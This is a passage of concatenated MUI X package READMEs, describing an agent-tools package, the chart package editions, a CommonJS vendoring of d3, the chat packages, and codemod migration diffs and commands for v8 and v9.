- **Docs tools**: `createDocsTools` builds the `useMuiDocs` / `fetchDocs` tools that look up and fetch MUI docs (`createUseMuiDocsTool` / `createFetchDocTool` are the lower-level factories). `fetchRemotePackages` loads the docs catalog.
- **Codegen**: `createCodegenTool` generates React + Material UI code from a prompt (POST + buffered SSE). `formatCodegenText` renders the result for a text client.
- **Auth**: `ApiKeyJwtClient` exchanges a `MUI_RECIPES_API_KEY` for a short-lived JWT (in-memory cache, refresh window, concurrent-call dedup).
- **Utils**: `LRUCache`, `buildCombinedLogger`, and `createDocsUrlGuard` (the SSRF allowlist for docs fetches).

## Usage

A host composes the toolset and adapts it to its protocol. Minimal sketch:

```ts
import { resolveAgentToolsConfig, createMuiAgentToolset } from '@mui/x-agent-tools';

const toolset = await createMuiAgentToolset(resolveAgentToolsConfig(), { logger });

// codegenTool and fetchDocsTool are ready immediately; neither needs the catalog.
const code = await toolset.codegenTool.execute({ prompt: 'Build a product card' }, { signal });
const docs = await toolset.fetchDocsTool.execute({ urls: ['https://mui.com/x/...'] }, { signal });

// useMuiDocs needs the catalog; useMuiDocsReady resolves once it settles. Never rejects (fail-soft).
const useMuiDocsTool = await toolset.useMuiDocsReady;
if (useMuiDocsTool) {
  // null when the catalog was unreachable; codegenTool + fetchDocsTool still work.
  const grid = await useMuiDocsTool.execute({ sources: ['@mui/x-data-grid'] }, { signal });
}

// On host shutdown, release the toolset's background resources (docs cache timer + fetch queue).
toolset.dispose();
```

Every tool exposes `{ name, description, inputSchema, outputSchema, execute(input, ctx?) }`, where `ctx` carries an optional `signal` and `onProgress`. `execute` validates its input against `inputSchema`, so hosts don't need a validation layer of their own. See [@mui/mcp](../mcp/src/) for a full host wiring.

## Development

```bash
pnpm test:unit --project "@mui/x-agent-tools" --run
pnpm --filter "@mui/x-agent-tools" run typescript
```

Source layout:

```text
src/
├── auth/       ApiKeyJwtClient + authed fetch (JWT exchange, 401 retry)
├── codegen/    generateReactCode: schemas, SSE stream, error mapping, tool, builder
├── docs/       useMuiDocs / fetchDocs, package catalog, SSRF url guard, fetcher, builder
├── utils/      cache (LRU), retry, logger, wrapTool
├── config.ts   env var names, backend defaults, resolveAgentToolsConfig
├── toolset.ts  createMuiAgentToolset (composes the codegen + docs builders)
├── types.ts    shared types (AgentTool, ToolExecutionContext, ...)
└── index.ts    public barrel
```

Built with the standard `code-infra` toolchain and published to npm as `@mui/x-agent-tools`.

---

### Overview (`packages/x-charts-premium/README.md`)

# MUI X Premium

This package is the Premium plan edition of the chart components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-charts-premium @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-charts/](https://mui.com/x/react-charts/) to view the full documentation.

---

### Overview (`packages/x-charts-pro/README.md`)

# MUI X Pro

This package is the Pro plan edition of the chart components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-charts-pro @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-charts/](https://mui.com/x/react-charts/) to view the full documentation.

---

### Overview (`packages/x-charts-vendor/README.md`)

# Charts Vendor

Vendored dependencies for @mui/x-charts.

An adaptation of the victory-vendor

## Background

D3 has released most of its libraries as ESM-only. This means that consumers in Node.js applications can no longer just `require()` anything with a d3 transitive dependency, including much of @mui/x-charts.

To help provide an easy path to folks still using CommonJS in their Node.js applications that consume @mui/x-charts, we now provide this package to vendor in various d3-related packages.

## Main difference with victory-vendor

Victory is using the `d3-voronoi` which is an archived project.

## Packages

We presently provide the following top-level libraries:

- d3-color
- d3-interpolate
- d3-sankey
- d3-scale
- d3-shape
- d3-time
- d3-timer

This is the total list of top and transitive libraries we vendor:

- d3-array
- d3-color
- d3-format
- d3-interpolate
- d3-path
- d3-sankey
- d3-scale
- d3-shape
- d3-time
- d3-time-format
- d3-timer
- internmap

## How to add a new package

To add a new package, simply install it as a dependency in this package, and then run the build script.

If your package is not built, you may need to adjust the parameters on [./scripts/build.js](./scripts/build.js), then run the build script again.

## How it works

We provide two alternate paths and behaviors -- for ESM and CommonJS

### ESM

If you do a Node.js import like:

```js
import { interpolate } from '@mui/x-charts-vendor/d3-interpolate';
```

under the hood it's going to just re-export and pass you through to `node_modules/d3-interpolate`, the **real** ESM library from D3.

### CommonJS

If you do a Node.js import like:

```js
const { interpolate } = require('@mui/x-charts-vendor/d3-interpolate');
```

under the hood, it will go to an alternate path that contains the transpiled version of the underlying d3 library found at `x-charts-vendor/lib-vendor/d3-interpolate/**/*.js`.
This further has internally consistent import references to other `x-charts-vendor/lib-vendor/<pkg-name>` paths.

Note that for some tooling (like Jest) that doesn't play well with `package.json:exports` routing to this CommonJS path, we **also** output a root file in the form of `x-charts-vendor/d3-interpolate.js`.

## Licenses

This project is released under the MIT license, but the vendored in libraries include other licenses (for example ISC) that we enumerate in our `package.json:license` field.

---

### Overview (`packages/x-charts/README.md`)

# MUI X Charts

This package is the community edition of the chart components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-charts @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-charts/](https://mui.com/x/react-charts/) to view the full documentation.

---

### Overview (`packages/x-chat-headless/README.md`)

# @mui/x-chat-headless

This package is an internal, unstable implementation detail of MUI X Chat components.
It should never be installed or used directly.
The API is not stable and will change without notice.

---

### Overview (`packages/x-chat/README.md`)

# MUI X Chat

This package is the Community plan edition of the Chat components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

> [!WARNING]
> **This package is unstable.** The API is under active development and **will change** before reaching a stable release.
> Use with caution and expect breaking changes in future versions.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-chat @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-chat/](https://mui.com/x/react-chat/) to view the full documentation.

---

### Overview (`packages/x-codemod/README.md`)

# @mui/x-codemod

> Codemod scripts for MUI X

[](https://www.npmjs.com/package/@mui/x-codemod)
[](https://www.npmjs.com/package/@mui/x-codemod)

This repository contains a collection of codemod scripts based for use with
[jscodeshift](https://github.com/facebook/jscodeshift) that help update MUI X APIs.

## Setup & run



```bash
npx @mui/x-codemod@latest <codemod> <paths...>

Applies a `@mui/x-codemod` to the specified paths

Positionals:
  codemod  The name of the codemod                                [string]
  paths    Paths forwarded to `jscodeshift`                       [string]

Options:
  --version     Show version number                                 [boolean]
  --help        Show help                                           [boolean]
  --parser      which parser for jscodeshift to use.
                                                    [string] [default: 'tsx']
  --jscodeshift Pass options directly to jscodeshift                  [array]

Examples:
  npx @mui/x-codemod@latest v8.0.0/preset-safe src
  npx @mui/x-codemod@latest v6.0.0/component-rename-prop src --
  --component=DataGrid --from=prop --to=newProp
```

### `jscodeshift` options

To pass more options directly to jscodeshift, use `--jscodeshift=...`. For example:

```bash
# single option
npx @mui/x-codemod --jscodeshift=--run-in-band

# multiple options
npx @mui/x-codemod --jscodeshift=--cpus=1 --jscodeshift=--print --jscodeshift=--dry --jscodeshift=--verbose=2
```

See [all available options](https://github.com/facebook/jscodeshift#usage-cli).

### `Recast` Options

Options to [recast](https://github.com/benjamn/recast)'s printer can be provided
through jscodeshift's `printOptions` command line argument

```bash
npx @mui/x-codemod <transform> <path> --jscodeshift="--printOptions='{\"quote\":\"double\"}'"
```

## v9.0.0

### 🚀 `preset-safe` for v9.0.0

A combination of all important transformers for migrating v8 to v9.
⚠️ This codemod should be run only once.
It runs codemods for all MUI X packages.
To run codemods for a specific package, refer to the respective section.



```bash
npx @mui/x-codemod@latest v9.0.0/preset-safe <path|folder>
```

The corresponding sub-sections are listed below




- [`preset-safe-for-charts`](#preset-safe-for-charts-v900)
- [`preset-safe-for-pickers`](#preset-safe-for-pickers-v900)

### Data Grid codemods

#### `remove-stabilized-experimentalFeatures`

Removes the `charts` property from the `experimentalFeatures` prop of `DataGridPremium`.
If `charts` is the only property, the entire `experimentalFeatures` prop is removed.



```bash
npx @mui/x-codemod@latest v9.0.0/data-grid/remove-stabilized-experimentalFeatures <path|folder>
```

```diff
 <DataGridPremium
-  experimentalFeatures={{ charts: true }}
   chartsIntegration
 />
```

### Charts codemods

#### 🚀 `preset-safe` for Charts v9.0.0

The `preset-safe` codemods for Charts.



```bash
npx @mui/x-codemod@latest v9.0.0/charts/preset-safe <path|folder>
```

The list includes these transformers

- [`replace-heatmap-hide-legend-false`](#replace-heatmap-hide-legend-false)
- [`replace-show-mark-default`](#replace-show-mark-default)
- [`rename-id-to-series-id`](#rename-id-to-series-id)
- [`rename-chart-api-import`](#rename-chart-api-import)
- [`rename-sankey-chart`](#rename-sankey-chart)
- [`rename-chart-container`](#rename-chart-container)
- [`rename-chart-data-provider`](#rename-chart-data-provider)
- [`rename-chart-zoom-slider`](#rename-chart-zoom-slider)
- [`remove-enable-keyboard-navigation`](#remove-enable-keyboard-navigation)
- [`remove-stabilized-experimentalFeatures`](#remove-stabilized-experimentalfeatures)
- [`remove-deprecated-series-types`](#remove-deprecated-series-types)
- [`remove-is-bar-series-helpers`](#remove-is-bar-series-helpers)

#### `replace-heatmap-hide-legend-false`

The default value of the `hideLegend` prop in the `Heatmap` component has changed from `true` to `false` in v9. This improves consistency across chart components and developer experience.

```diff
 <Heatmap
+  hideLegend
 />
```

#### `rename-axis-tooltip-hook`

The `useAxisTooltip()` hook has been renamed to `useAxesTooltip()` to better reflect its functionality of handling multiple axes.

```diff
-import { useAxisTooltip, UseAxisTooltipReturnValue, UseAxisTooltipParams } from '@mui/x-charts';
+import { useAxesTooltip, UseAxesTooltipReturnValue, UseAxesTooltipParams } from '@mui/x-charts';
```

The hook now always returns an array of tooltip data (one entry per active axis) instead of a single object.
The `multipleAxes` parameter has been removed since the hook now always supports multiple axes.

After running the codemod to do the renaming make sure to adapt the hook returned value to your needs.

```diff
 function CustomTooltip() {
   // If you want to keep only one axis
-  const tooltipData = useAxisTooltip();
+  const tooltipData = useAxesTooltip()[0] ?? null;
   // If you use all the axes
-  const tooltipData = useAxisTooltip({ multipleAxes: true });
+  const tooltipData = useAxesTooltip();
 }
```

#### `rename-chart-api-import`

Moves the `ChartApi` type import from `@mui/x-charts/ChartContainer` to `@mui/x-charts/context`.

```diff
-import type { ChartApi } from '@mui/x-charts/ChartContainer';
+import type { ChartApi } from '@mui/x-charts/context';
```

#### `rename-id-to-series-id`

Rename the props `id` to `seriesId`.

```diff
- <PieArc id='series-a' />
+ <PieArc seriesId='series-a' />
```

Here is the list of slots and components that are impacted by the renaming:

| slot          | Component                                |
| :------------ | :--------------------------------------- |
| pieArc        | PieArc                                   |
|               | PieArcPlot                               |
| pieArcLabel   | PieArcLabel                              |
|               | PieArcLabelPlot                          |
| bar           | BarElement, AnimatedRangeBarElementProps |
| area          | AnimatedArea, AreaElement                |
| line          | AnimatedLine, LineElement                |
| mark          | MarkElement                              |
| lineHighlight | LineHighlightElement                     |

#### `replace-show-mark-default`

Add `showMark: true` to line series when not defined to keep the same default behavior.

```diff
- <LineChart series={[{ data: [/* ... */] }]} />
+ <LineChart series={[{ data: [/* ... */] showMark: true }]} />
- <ChartDataProvider series={[{ type: 'line', data: [/* ... */] }]} />
+ <ChartDataProvider series={[{ type: 'line', data: [/* ... */] showMark: true }]} />
```

#### `rename-chart-zoom-slider`

Renames the `ChartZoomSlider` component and related exports to `ChartsZoomSlider` (with an S) to align with other components.

```diff
-import { ChartZoomSlider } from '@mui/x-charts-pro';
+import { ChartsZoomSlider } from '@mui/x-charts-pro';

-import { ChartZoomSlider } from '@mui/x-charts-pro/ChartZoomSlider';
+import { ChartsZoomSlider } from '@mui/x-charts-pro/ChartsZoomSlider';
```

#### `rename-sankey-chart`

Stabilizes the `Unstable_SankeyChart` export by renaming it to `SankeyChart`.

```diff
-import { Unstable_SankeyChart } from '@mui/x-charts-pro';
+import { SankeyChart } from '@mui/x-charts-pro';

-import { Unstable_SankeyChart } from '@mui/x-charts-pro/SankeyChart';
+import { SankeyChart } from '@mui/x-charts-pro/SankeyChart';
```

#### `rename-chart-container`

Renames the `ChartContainer` component and related exports to `ChartsContainer` (with an S) to align with other components.

```diff
-import { ChartContainer } from '@mui/x-charts/ChartContainer';
+import { ChartsContainer } from '@mui/x-charts/ChartsContainer';

-import { ChartContainerPro } from '@mui/x-charts-pro/ChartContainerPro';
+import { ChartsContainerPro } from '@mui/x-charts-pro/ChartsContainerPro';
```

#### `rename-chart-data-provider`

Renames the `ChartDataProvider` component and related exports to `ChartsDataProvider` (with an S) to align with other components.

```diff
-import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
+import { ChartsDataProvider } from '@mui/x-charts/ChartsDataProvider';

-import { ChartDataProviderPro } from '@mui/x-charts-pro/ChartDataProviderPro';
+import { ChartsDataProviderPro } from '@mui/x-charts-pro/ChartsDataProviderPro';
```

#### `remove-enable-keyboard-navigation`

Removes the `enableKeyboardNavigation` props set to `true` since it's now the default behavior.

```diff
 <LineChart
-  enableKeyboardNavigation
 />
```

#### `remove-stabilized-experimentalFeatures`

Removes the `preferStrictDomainInLineCharts` property from the `experimentalFeatures` prop since it's now the default behavior.
If `preferStrictDomainInLineCharts` is the only property in the object, the entire `experimentalFeatures` prop is removed.

```diff
 <LineChart
-  experimentalFeatures={{ preferStrictDomainInLineCharts: true }}
   series={[]}
 />
```

#### `remove-deprecated-series-types`

Replaces deprecated series type aliases (`CartesianSeriesType`, `DefaultizedCartesianSeriesType`, `StackableSeriesType`) with their new equivalents using generic types.

```diff
-import { CartesianSeriesType, DefaultizedCartesianSeriesType, StackableSeriesType } from '@mui/x-charts';
+import { AllSeriesType, DefaultizedSeriesType, CartesianChartSeriesType, StackableChartSeriesType } from '@mui/x-charts';

-function processCartesian(series: CartesianSeriesType) {}
+function processCartesian(series: AllSeriesType<CartesianChartSeriesType>) {}

-function processDefaultizedCartesian(series: DefaultizedCartesianSeriesType) {}
+function processDefaultizedCartesian(series: DefaultizedSeriesType<CartesianChartSeriesType>) {}

-function processStackable(series: StackableSeriesType) {}
+function processStackable(series: DefaultizedSeriesType<StackableChartSeriesType>) {}
```

#### `remove-is-bar-series-helpers`

Replaces the deprecated `isBarSeries()` and `isDefaultizedBarSeries()` helper functions with direct `series.type === 'bar'` checks and removes the corresponding imports.

```diff
-import { isBarSeries, isDefaultizedBarSeries } from '@mui/x-charts';
-
-if (isBarSeries(series)) {
+if (series.type === 'bar') {
   console.log('bar series');
 }

-if (isDefaultizedBarSeries(series)) {
+if (series.type === 'bar') {
   console.log('defaultized bar series');
 }
```

### Pickers codemods

#### 🚀 `preset-safe` for Pickers v9.0.0 <a id="preset-safe-for-pickers-v900"></a>

The `preset-safe` codemods for Pickers.



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-field-ref`](#rename-field-ref)
- [`remove-enable-accessible-field-dom-structure`](#remove-enable-accessible-field-dom-structure)
- [`remove-picker-day-2`](#remove-picker-day-2)
- [`rename-picker-day-2`](#rename-picker-day-2)
- [`rename-pickers-day`](#rename-pickers-day)
- [`rename-picker-classes`](#rename-picker-classes)
- [`remove-disable-margin`](#remove-disable-margin)
- [`migrate-text-field-props`](#migrate-text-field-props)

#### `rename-field-ref`

Renames the `unstableFieldRef` prop to `fieldRef` on all Picker and Field components.

```diff
-<DateField unstableFieldRef={fieldRef} />
+<DateField fieldRef={fieldRef} />

-<DateRangePicker unstableStartFieldRef={startRef} unstableEndFieldRef={endRef} />
+<DateRangePicker startFieldRef={startRef} endFieldRef={endRef} />

-<DatePicker slotProps={{ field: { unstableFieldRef: fieldRef } }} />
+<DatePicker slotProps={{ field: { fieldRef: fieldRef } }} />
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/rename-field-ref <path|folder>
```

#### `remove-enable-accessible-field-dom-structure`

Removes the `enableAccessibleFieldDOMStructure` prop from all Picker and Field components.
The accessible DOM structure is now the only supported option and this prop has no effect.

```diff
-<DateField enableAccessibleFieldDOMStructure={false} />
+<DateField />

-<DatePicker enableAccessibleFieldDOMStructure={false} slots={{ textField: MyCustomTextField }} />
+<DatePicker slots={{ textField: MyCustomTextField }} />

-<DatePicker slotProps={{ field: { enableAccessibleFieldDOMStructure: false } }} />
+<DatePicker />
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/remove-enable-accessible-field-dom-structure <path|folder>
```

#### `remove-picker-day-2`

Removes the unnecessary `slots={{ day: PickerDay2 }}` and `slots={{ day: DateRangePickerDay2 }}` usages, since `PickerDay2` and `DateRangePickerDay2` are the new defaults.
Also handles objects passed through variables (for example `const slots = { day: PickerDay2 }`).

```diff
-<DatePicker slots={{ day: PickerDay2 }} />
+<DatePicker />

-<DateRangePicker slots={{ day: DateRangePickerDay2 }} />
+<DateRangePicker />
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/remove-picker-day-2 <path>
```

#### `rename-picker-day-2`

Renames `PickerDay2` and `DateRangePickerDay2` components and their related types, classes, and theme component names to `PickerDay` and `DateRangePickerDay`.

```diff
-import { PickerDay2, PickerDay2Props, pickerDay2Classes } from '@mui/x-date-pickers/PickerDay2';
+import { PickerDay, PickerDayProps, pickerDayClasses } from '@mui/x-date-pickers/PickerDay';

-import { DateRangePickerDay2 } from '@mui/x-date-pickers-pro/DateRangePickerDay2';
+import { DateRangePickerDay } from '@mui/x-date-pickers-pro/DateRangePickerDay';

 const theme = createTheme({
   components: {
-    MuiPickerDay2: {
+    MuiPickerDay: {
       styleOverrides: { root: { color: 'red' } },
     },
   },
 });
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/rename-picker-day-2 <path>
```

#### `rename-pickers-day`

Renames `PickersDay` to `PickerDay` and all related types, classes, and theme component names.

```diff
-import { PickersDay, PickersDayProps, pickersDayClasses } from '@mui/x-date-pickers/PickersDay';
+import { PickerDay, PickerDayProps, pickerDayClasses } from '@mui/x-date-pickers/PickerDay';

 const theme = createTheme({
   components: {
-    MuiPickersDay: {
+    MuiPickerDay: {
       styleOverrides: { root: { color: 'red' } },
     },
   },
 });
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/rename-pickers-day <path>
```

#### `rename-picker-classes`

Renames `PickerDay` and `DateRangePickerDay` CSS class keys to their new equivalents.

```diff
-'& .MuiPickerDay-outsideCurrentMonth'
+'& .MuiPickerDay-dayOutsideMonth'

-'& .MuiDateRangePickerDay-rangeIntervalDayHighlightStart'
+'& .MuiDateRangePickerDay-selectionStart'

-'& .MuiDateRangePickerDay-dayInsideRangeInterval'
+'& .MuiDateRangePickerDay-insideSelection'
```



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/rename-picker-classes <path>
```

#### `remove-disable-margin`

Removes the `disableMargin` prop from `PickerDay` and `DateRangePickerDay` components and replaces it with the `--PickerDay-horizontalMargin` CSS variable via the `sx` prop.

```diff
-<PickerDay disableMargin day={day} />
+<PickerDay day={day} sx={{ '--PickerDay-horizontalMargin': 0 }} />

-<DatePicker slotProps={{ day: { disableMargin: true } }} />
+<DatePicker slotProps={{ day: { sx: { '--PickerDay-horizontalMargin': 0 } } }} />
```

When `disableMargin={false}`, the prop is simply removed without adding the CSS variable.



```bash
npx @mui/x-codemod@latest v9.0.0/pickers/remove-disable-margin <path>
```

#### `migrate-text-field-props`

Rewrites the legacy `InputProps`, `inputProps`, `InputLabelProps` and `FormHelperTextProps` props on Picker, Field and `PickersTextField` components into the new `slotProps.{input,htmlInput,inputLabel,formHelperText}` shape. On Picker and Field components the new keys are nested inside `slotProps.textField.slotProps`; on `PickersTextField` they live directly under `slotProps`.

```diff
-<DateField
-  InputProps={{ name: 'birthday' }}
-  inputProps={{ 'data-testid': 'html-input' }}
-/>
+<DateField
+  slotProps={{
+    textField: {
+      slotProps: {
+        input: { name: 'birthday' },
+        htmlInput: { 'data-testid': 'html-input' },
+      },
+    },
+  }}
+/>

-<DatePicker slotProps={{ textField: { InputProps: { name: 'date' } } }} />
+<DatePicker slotProps={{ textField: { slotProps: { input: { name: 'date' } } } }} />
```



```bash
npx @mui/x-codemod@next v9.0.0/pickers/migrate-text-field-props <path>
```

## v8.0.0

### 🚀 `preset-safe` for v8.0.0

A combination of all important transformers for migrating v7 to v8.
⚠️ This codemod should be run only once.
It runs codemods for all MUI X packages (Data Grid, Date and Time Pickers, Tree View, and Charts).
To run codemods for a specific package, refer to the respective section.



```bash
npx @mui/x-codemod@latest v8.0.0/preset-safe <path|folder>
```

The corresponding sub-sections are listed below

- [`preset-safe-for-tree-view`](#preset-safe-for-tree-view-v800)
- [`preset-safe-for-charts`](#preset-safe-for-charts-v800)
- [`preset-safe-for-data-grid`](#preset-safe-for-data-grid-v800)
- [`preset-safe-for-pickers`](#preset-safe-for-pickers-v800)

### Tree View codemods

#### `preset-safe` for Tree View v8.0.0

The `preset-safe` codemods for Tree View.



```bash
npx @mui/x-codemod@latest v8.0.0/tree-view/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-tree-view-simple-tree-view`](#rename-tree-view-simple-tree-view)
- [`rename-tree-item-2`](#rename-tree-item-2)

#### `rename-tree-view-simple-tree-view`

Renames the Tree View component to Simple Tree View

```diff
-import { TreeView } from '@mui/x-tree-view';
+import { SimpleTreeView } from '@mui/x-tree-view';

-import { TreeView } from '@mui/x-tree-view/TreeView';
+import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';

 return (
-  <TreeView>
+  <SimpleTreeView>
     <TreeItem itemId="1" label="First item" />
-  </TreeView>
+  </SimpleTreeView>
 );
```

#### `rename-tree-item-2`

Renames the `TreeItem2` component to `TreeItem` (same for any subcomponents or utils like `useTreeItem2` or `TreeItem2Icon`).

```diff
-import { TreeItem2 } from '@mui/x-tree-view';
+import { TreeItem } from '@mui/x-tree-view';

-import { TreeItem2 } from '@mui/x-tree-view/TreeItem2';
+import { TreeItem } from '@mui/x-tree-view/TreeItem';
```

### Charts codemods

#### `preset-safe` for Charts v8.0.0

The `preset-safe` codemods for Charts.



```bash
npx @mui/x-codemod@latest v8.0.0/charts/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-legend-to-slots-legend`](#rename-legend-to-slots-legend)
- [`replace-legend-direction-values`](#replace-legend-direction-values)
- [`rename-responsive-chart-container`](#rename-responsive-chart-container)
- [`rename-label-and-tick-font-size`](#rename-label-and-tick-font-size)

#### `rename-legend-to-slots-legend`

Renames legend props to the corresponding slotProps.

```diff
 <LineChart
-  legend={{ hiden: true}}
+  slotProps={{ legend: { hiden: true} }}
 />
```

#### `replace-legend-direction-values`

Replace `row` and `column` values by `horizontal` and `vertical` respectively.

```diff
 <BarChart
    slotProps={{
      legend: {
-        direction: "row"
+        direction: "horizontal"
      }
    }}
 />
```

#### `replace-legend-position-values`

Replace `"left" | "middle" | "right"` values `"start" | "center" | "end"` respectively.
This is to align with the CSS values and reflect the RTL ability of the legend component.

```diff
 <BarChart
    slotProps={{
      legend: {
        position: {
-          horizontal: "left",
+          horizontal: "start",
        }
      }
    }}
 />
```

#### `rename-responsive-chart-container`

Renames `ResponsiveChartContainer` and `ResponsiveChartContainerPro` by `ChartContainer` and `ChartContainerPro` which have the same behavior in v8.

```diff
-import { ResponsiveChartContainer } from '@mui/x-charts/ResponsiveChartContainer';
+import { ChartContainer } from '@mui/x-charts/ChartContainer';

-<ResponsiveChartContainer>
+<ChartContainer>
   <BarPlot />
-</ResponsiveChartContainer>
+</ChartContainer>
```

#### `rename-legend-position-type`

Renames `LegendPosition` to `Position`.

```diff
-import { LegendPosition } from '@mui/x-charts/ChartsLegend';
+import { Position } from '@mui/x-charts/models';
```

> [!WARNING]
> If you imported both `ResponsiveChartContainer` and `ChartContainer` in the same file, you might end up with duplicated import.
> Verify the git diff to remove the duplicate.
>
> ```diff
>  import { ChartContainer } from '@mui/x-charts/ChartContainer';
> -import { ResponsiveChartContainer } from '@mui/x-charts/ResponsiveChartContainer';
> +import { ChartContainer } from '@mui/x-charts/ChartContainer';
> ```

#### `rename-label-and-tick-font-size`

Renames `labelFontSize` and `tickFontSize` props to the corresponding `xxxStyle` prop.

```diff
 <ChartsXAxis
-  labelFontSize={18}
+  labelStyle={{
+    fontSize: 18
+  }}
-  tickFontSize={20}
+  tickStyle={{
+    fontSize: 20
+  }}
 />
```

#### `remove-on-axis-click-handler`

Remove the `<ChartsOnAxisClickHandler />` and move the associated `onAxisClick` prop to its parent.

> [!WARNING]
> This codemode does not work if component got renamed or if the handler is not a direct child of the container.

```diff
+ <ChartContainer onAxisClick={() => {}}>
- <ChartContainer>
-   <ChartsOnAxisClickHandler onAxisClick={() => {}} />
 </ChartContainer>
```

#### `rename-unstable-use-series`

Remove `unstable_` prefix from `useSeries` and `use*Series` hooks, as they have now become stable.

```diff
  import {
-   unstable_useSeries,
+   useSeries,
-   unstable_usePieSeries,
+   usePieSeries,
-   unstable_useLineSeries,
+   useLineSeries,
-   unstable_useBarSeries,
+   useBarSeries,
-   unstable_useScatterSeries,
+   useScatterSeries,
  } from '@mui/x-charts/hooks';
  import {
-   unstable_useHeatmapSeries,
+   useHeatmapSeries,
  } from '@mui/x-charts-pro/hooks';
```

#### `rename-sparkline-colors-to-color`

Renames the `colors` prop of a `SparkLineChart` to `color` and accesses its first element.

```diff
 <SparkLineChart
-  colors={['red']}
+  color={'red'}
 />
```

If `colors` is a function, it will be wrapped in another function that returns its first element.

```diff
 <SparkLineChart
-  colors={fn}
+  color={typeof fn === 'function' ? mode => fn(mode)[0] : fn[0]}
 />
```

If there are cases that the codemod cannot handle, you should see a comment with a `mui-x-codemod` prefix in the code.

```diff
 <SparkLineChart
-  colors={(mode) => (mode === 'light' ? ['black'] : ['white'])}
+  /* mui-x-codemod: We renamed the `colors` prop to `color`, but didn't change the value. Please ensure sure this prop receives a string or a function that returns a string. */
+  color={(mode) => (mode === 'light' ? ['black'] : ['white'])}
 />
```

### Data Grid codemods

#### `preset-safe` for Data Grid v8.0.0

The `preset-safe` codemods for Data Grid.



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/preset-safe <path|folder>
```

The list includes these transformers

- [`remove-stabilized-v8-experimentalFeatures`](#remove-stabilized-v8-experimentalFeatures)
- [`remove-props`](#remove-props)
- [`rename-props`](#rename-props)
- [`rename-imports`](#rename-imports)
- [`reform-row-selection-model`](#reform-row-selection-model)
- [`rename-package`](#rename-package)
- [`add-showToolbar-prop`](#add-showToolbar-prop)

#### `remove-stabilized-v8-experimentalFeatures`

Remove feature flags for stabilized `experimentalFeatures`.

```diff
 <DataGridPremium
-  experimentalFeatures={{
-    ariaV8: true,
-  }}
 />
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/remove-stabilized-experimentalFeatures <path>
```

#### `remove-props`

Remove props that are no longer supported.

The list includes these props:

- `indeterminateCheckboxAction`
- `rowPositionsDebounceMs`
- `resetPageOnSortFilter`

```diff
 <DataGrid
-  indeterminateCheckboxAction="deselect"
-  rowPositionsDebounceMs={100}
-  resetPageOnSortFilter
 />
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/remove-props <path>
```

#### `rename-props`

Rename props to the new ones.

The list includes these props:

- `unstable_rowSpanning` to `rowSpanning`
- `unstable_dataSource` to `dataSource`
- `unstable_dataSourceCache` to `dataSourceCache`
- `unstable_lazyLoading` to `lazyLoading`
- `unstable_lazyLoadingRequestThrottleMs` to `lazyLoadingRequestThrottleMs`
- `unstable_onDataSourceError` to `onDataSourceError`
- `unstable_listView` to `listView`
- `unstable_listColumn` to `listViewColumn`

```diff
 <DataGrid
-  unstable_rowSpanning
-  unstable_dataSource={dataSource}
-  unstable_dataSourceCache={dataSourceCache}
-  unstable_lazyLoading
-  unstable_lazyLoadingRequestThrottleMs={100}
-  unstable_onDataSourceError={() => {}}
-  unstable_listView
-  unstable_listColumn={{}}
+  rowSpanning
+  dataSource={dataSource}
+  dataSourceCache={dataSourceCache}
+  lazyLoading
+  lazyLoadingRequestThrottleMs={100}
+  onDataSourceError={() => {}}
+  listView
+  listViewColumn={{}}
 />
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/rename-props <path>
```

#### `rename-imports`

This codemod renames the imports of the Data Grid components. The list includes these imports:

- `selectedGridRowsSelector` to `gridRowSelectionIdsSelector`
- `selectedGridRowsCountSelector` to `gridRowSelectionCountSelector`

```diff
-import { selectedGridRowsSelector, selectedGridRowsCountSelector } from '@mui/x-data-grid';
+import { gridRowSelectionIdsSelector, gridRowSelectionCountSelector } from '@mui/x-data-grid';
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/rename-imports <path>
```

#### `reform-row-selection-model`

Reforms the controlled `rowSelectionModel` prop value to the new one.

```diff
-const [rowSelectionModel, setRowSelectionModel] = React.useState([1, 2]);
+const [rowSelectionModel, setRowSelectionModel] = React.useState({
+  type: 'include',
+  ids: new Set([1, 2]),
+});

 <DataGrid
  rowSelectionModel={rowSelectionModel}
  onRowSelectionModelChange={setRowSelectionModel}
 />
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/reform-row-selection-model <path>
```

#### `rename-package`

Reorganizes the imports moved from `@mui/x-data-grid-pro` and `@mui/x-data-grid-premium`.

```diff
-import { LicenseInfo } from '@mui/x-data-grid-pro';
+import { LicenseInfo } from '@mui/x-license';
```



```bash
npx @mui/x-codemod@latest v8.0.0/data-grid/rename-package <path>
```

#### `add-showToolbar-prop`

Adds the `showToolbar` prop to the Data Grid components that are using `slots.toolbar` prop.

```diff
 <DataGridPremium
  slots={{
    toolbar: GridToolbar,
  }}
+ showToolbar
 />
```



```bash
